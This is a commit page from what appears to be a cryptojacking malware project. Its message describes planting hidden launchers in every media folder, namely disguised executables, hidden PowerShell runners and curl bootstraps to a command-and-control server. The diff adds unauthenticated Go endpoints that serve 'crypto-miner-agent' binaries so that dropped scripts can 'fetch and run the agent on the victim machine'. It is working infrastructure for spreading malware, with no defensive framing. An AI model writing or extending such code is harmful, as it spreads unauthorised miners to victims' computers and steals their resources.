feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
This commit is contained in:
@@ -543,6 +543,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||
}
|
||||
|
||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||
// Unauthenticated (the drop URL itself is the secret).
|
||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
|
||||
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
|
||||
|
||||
// Serve frontend SPA
|
||||
if webRoot != "" {
|
||||
// Check if webroot directory exists
|
||||
@@ -595,3 +602,65 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
// serveAgentBinary returns an HTTP handler that streams the agent binary for
|
||||
// the requested platform. It looks for the binary next to the running server
|
||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||
//
|
||||
// Filename convention (same as what the build pipeline produces):
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
func serveAgentBinary(platform string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
http.Error(w, "server exe not found", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
dir := filepath.Dir(exe)
|
||||
|
||||
var candidates []string
|
||||
var dlName string
|
||||
|
||||
switch platform {
|
||||
case "windows":
|
||||
dlName = "crypto-miner-agent.exe"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||
}
|
||||
case "mac":
|
||||
dlName = "crypto-miner-agent"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
|
||||
filepath.Join(dir, "crypto-miner-agent-darwin"),
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||
}
|
||||
case "linux":
|
||||
dlName = "crypto-miner-agent"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
|
||||
filepath.Join(dir, "crypto-miner-agent-linux"),
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||
}
|
||||
}
|
||||
|
||||
var binPath string
|
||||
for _, c := range candidates {
|
||||
if _, err := os.Stat(c); err == nil {
|
||||
binPath = c
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if binPath == "" {
|
||||
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
|
||||
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
|
||||
http.ServeFile(w, r, binPath)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user